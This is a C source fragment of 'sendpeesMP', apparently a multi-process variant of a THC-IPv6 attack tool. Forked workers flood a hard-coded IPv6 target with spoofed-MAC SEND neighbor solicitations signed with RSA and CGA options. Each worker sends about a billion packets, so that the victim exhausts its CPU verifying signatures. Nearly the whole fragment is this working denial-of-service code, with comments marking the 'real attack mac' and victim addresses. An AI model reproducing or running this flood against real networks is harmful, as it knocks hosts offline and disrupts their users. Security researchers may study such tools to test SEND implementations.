   /* MAC addresses for testing, attacking */ 
   unsigned char dsthw[] = "\xff\xff\xff\xff\xff\xff"; 
   unsigned char tgthw[] = "\x00\x1a\xa0\x41\xf0\x2d";  /*real attack mac*/ 
   /*unsigned char tgthw[] = "\x00\x12\x3f\xae\x22\x3f"; */ /*real attack mac*/ 
   /*char dsthw[] = "\x33\x33\xff\x12\x34\x56";  */ 
   /*unsigned char srchw[] = "\x00\x11\x11\x32\xb2\x84";*/ /*00:11:11:32:B2:84*/ 
   unsigned char srchw[] = "\xdd\xde\xad\xbe\xef\xdd"; 
   unsigned char srchwreal[] = "\x00\x11\x11\x32\xB2\x84"; 
   unsigned char tag[] = "\xdd\xde\xad\xbe\xef\xdd\xdd\xde\ 
                         \xad\xbe\xef\xdd\xbe\xef\xaa\xaa"; 
   int pkt_len = 0;  /* packet length */ 
   int flags = 0;  /* ICMPv6 flags */ 
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   thc_ipv6_rawmode(0); /* generate my own MAC addresses */ 
   int debug = 0;  /* debug switch */ 
 
   if (argc != 5) 
   { 
      printf("original sendpees by willdamn <willdamn@gmail.com>\n"); 
      printf("modified sendpeesMP by Marcin Pohl <marcinpohl@gmail.com>\n"); 
      printf("usage: %s <inf> <key_length> <prefix> <victim>\n", argv[0]); 
      printf("Send SEND neighbor solicitation messages and make target \ 
             to verify a lota CGA and RSA signatures\n"); 
      exit(1); 
   } 
 
   FILE *fp; /* file pointer for reading from /dev/urandom */ 
   unsigned char test[6];  /* randomized mac storage */ 
   int result=0,pid,status, rc, i; /* exit codes */ 
 
   memset(&test, 0, 6); /* set 6 bytes to zero */ 
   fp = fopen ("/dev/urandom", "r"); /* set FP to /dev/urandom */ 
 
   dev = argv[1]; /* read interface from commandline */ 
 
   memcpy(addr, argv[3], 50); /* read prefix from commandline */ 
   inet_pton(PF_INET6, addr, &addr6); /* start a socket */ 
   memcpy(prefix, &addr6, 8); /* first 8 bytes of sockaddr is prefix */ 
 
   key = thc_generate_key(atoi(argv[2])); /* EXPENSIVE KEYGEN HERE! */ 
   if (key == NULL) 
   { 
      printf("Couldn't generate key!"); 
      exit(1); 
   } 
 
   /*makes options and the address*/ 
   cga_opt = thc_generate_cga(prefix, key, &cga); 
   /* cga = thc_resolve6("::");   */ 
   if (cga_opt == NULL) 
   { 
      printf("Error during CGA generation"); 
      exit(1); 
   } 
 
   for (i=0; i<THREAD_NUM; ++i) 
   { 
      pid = fork(); 
      if (pid==0) 
      { 
         printf("Creating thread %d\n", i); 
 
   /*randomize MAC here*/ 
   result= fread(&test,sizeof(unsigned char),6,fp);  
         test[0]= 0; /* set MAC to intel */ 
         test[1]= 170; /* set MAC to intel */ 
         test[2]= 0; /* set MAC to intel */ 
 
         /* ICMP6 TARGET, IPDST */ 
         /* dst6 = thc_resolve6(argv[4]); */ 
         /* dst6 = thc_resolve6("ff02::2");*/ 
         /* dst6 = thc_resolve6("fe80::2873:2031:1142:f1f8"); */ 
         /* real proper CGA address */ 
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         /* cga6 = thc_resolve6("fe80::30b4:f52d:584f:5cdf"); */ 
         /* testdst6 = thc_resolve6("fe80::dead:beef:abba:feed");*/ 
         dst6 = thc_resolve6("fe80::3016:32de:1aba:ac2"); 
 
         /* set ICMP OPTION SLLA HERE */ 
         memset(advdummy, 'D', sizeof(advdummy)); 
         memset(soldummy, 'D', sizeof(soldummy)); 
         /* set destination IP here */ 
         memcpy(advdummy, dst6, 16);   /*dstIP*/ 
         memcpy(soldummy, dst6, 16);   /*dstIP*/ 
 
         /* fixed values for NS */ 
         soldummy[16] = 1; 
         soldummy[17] = 1; 
         memcpy(&soldummy[18], test , 6); /*  SLLA OPTION  */ 
 
         /* ND flags */ 
         flags = ICMP6_NEIGHBORADV_OVERRIDE; 
 
         /* create IPv6 portion */ 
         /*if((pkt = thc_create_ipv6(dev, PREFER_GLOBAL, &pkt_len, cga, dst6, \ 
         0, 0, 0, 0, 0)) == NULL)*/ 
         if ((pkt = thc_create_ipv6(dev, PREFER_LINK, &pkt_len, cga, dst6, \ 
                                    0, 0, 0, 0, 0)) == NULL) 
         { 
            printf("Cannot create IPv6 header\n"); 
            exit(1); 
         } 
 
         /* create ICMPv6 with SeND options */ 
         /*   if(thc_add_send(pkt, &pkt_len, ICMP6_NEIGHBORADV, 0x0, flags, \ 
         advdummy, 24, cga_opt, key, NULL, 0) < 0)*/ 
         if (thc_add_send(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0x0, flags, \ 
                          soldummy, 24, cga_opt, key, NULL, 0) < 0) 
         { 
            printf("Cannot add SEND options\n"); 
            exit(1); 
         } 
         free(cga_opt); 
 
         if (debug) 
         { 
            printf("%02x:%02x:%02x:%02x:%02x:%02x\n",test[0],test[1],test[2],\ 
                   test[3],test[4],test[5]); 
            printf("%02x:%02x:%02x:%02x:%02x:%02x\n",dsthw[0],dsthw[1],dsthw[2]\ 
                   ,dsthw[3],dsthw[4],dsthw[5]); 
            fflush(stdout); 
         } 
 
         /* attach the IPv6+ICMPv6+SeND to an Ethernet frame with random MAC */ 
         if ((result= thc_generate_pkt(dev, test, tgthw, pkt, &pkt_len)) < 0) 
         { 
            fprintf(stderr, "Couldn't generate ipv6 packet, error num %s !\n",\ 
                    result); 
            exit(1); 
         } 
 
         printf("Sending %d...",i); 
         fflush(stdout); 
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         int count=1000000000; 
         while (count) 
         { 
            /* send many packets */ 
            thc_send_pkt(dev, pkt, &pkt_len); 
            --count; 
         } 
 
         exit(1); 
      } 
   } 
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